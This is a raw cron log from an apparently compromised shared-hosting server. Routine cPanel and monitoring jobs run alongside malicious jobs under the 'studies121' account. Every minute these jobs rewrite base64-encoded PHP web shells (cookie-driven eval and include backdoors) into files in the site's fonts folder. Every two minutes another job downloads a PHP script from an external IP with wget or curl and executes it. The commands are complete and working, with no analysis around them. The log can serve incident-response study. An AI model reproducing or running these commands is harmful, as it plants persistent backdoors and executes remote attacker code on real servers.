Sep  9 22:19:01 ip-184-168-122-23 CROND[21966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:19:01 ip-184-168-122-23 CROND[21967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22065]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:20:01 ip-184-168-122-23 CROND[22070]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:20:01 ip-184-168-122-23 CROND[22072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22071]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:20:01 ip-184-168-122-23 CROND[22074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:21:01 ip-184-168-122-23 CROND[22167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:21:01 ip-184-168-122-23 CROND[22171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:21:01 ip-184-168-122-23 CROND[22169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:21:01 ip-184-168-122-23 CROND[22170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:22:01 ip-184-168-122-23 CROND[22362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:22:01 ip-184-168-122-23 CROND[22364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:22:01 ip-184-168-122-23 CROND[22365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:22:01 ip-184-168-122-23 CROND[22366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:22:01 ip-184-168-122-23 CROND[22368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:23:01 ip-184-168-122-23 CROND[22448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:23:01 ip-184-168-122-23 CROND[22449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:23:01 ip-184-168-122-23 CROND[22450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:23:01 ip-184-168-122-23 CROND[22451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:24:01 ip-184-168-122-23 CROND[22535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:24:01 ip-184-168-122-23 CROND[22536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:24:01 ip-184-168-122-23 CROND[22538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:24:01 ip-184-168-122-23 CROND[22540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:24:01 ip-184-168-122-23 CROND[22539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:25:02 ip-184-168-122-23 CROND[22645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:25:02 ip-184-168-122-23 CROND[22649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:25:02 ip-184-168-122-23 CROND[22646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:25:02 ip-184-168-122-23 CROND[22650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:25:02 ip-184-168-122-23 CROND[22651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:25:02 ip-184-168-122-23 CROND[22647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:25:02 ip-184-168-122-23 CROND[22648]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 22:26:01 ip-184-168-122-23 CROND[22744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:26:01 ip-184-168-122-23 CROND[22745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:26:01 ip-184-168-122-23 CROND[22748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:26:01 ip-184-168-122-23 CROND[22749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:26:01 ip-184-168-122-23 CROND[22750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:27:01 ip-184-168-122-23 CROND[22918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:27:01 ip-184-168-122-23 CROND[22922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:27:01 ip-184-168-122-23 CROND[22925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:27:01 ip-184-168-122-23 CROND[22926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:28:01 ip-184-168-122-23 CROND[23007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:28:01 ip-184-168-122-23 CROND[23009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:28:01 ip-184-168-122-23 CROND[23011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:28:01 ip-184-168-122-23 CROND[23012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:28:01 ip-184-168-122-23 CROND[23010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:29:01 ip-184-168-122-23 CROND[23099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:29:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:29:01 ip-184-168-122-23 CROND[23097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:29:01 ip-184-168-122-23 CROND[23100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:30:01 ip-184-168-122-23 CROND[23204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:30:01 ip-184-168-122-23 CROND[23210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23217]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:30:01 ip-184-168-122-23 CROND[23211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:31:01 ip-184-168-122-23 CROND[23323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:31:01 ip-184-168-122-23 CROND[23327]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:31:01 ip-184-168-122-23 CROND[23325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
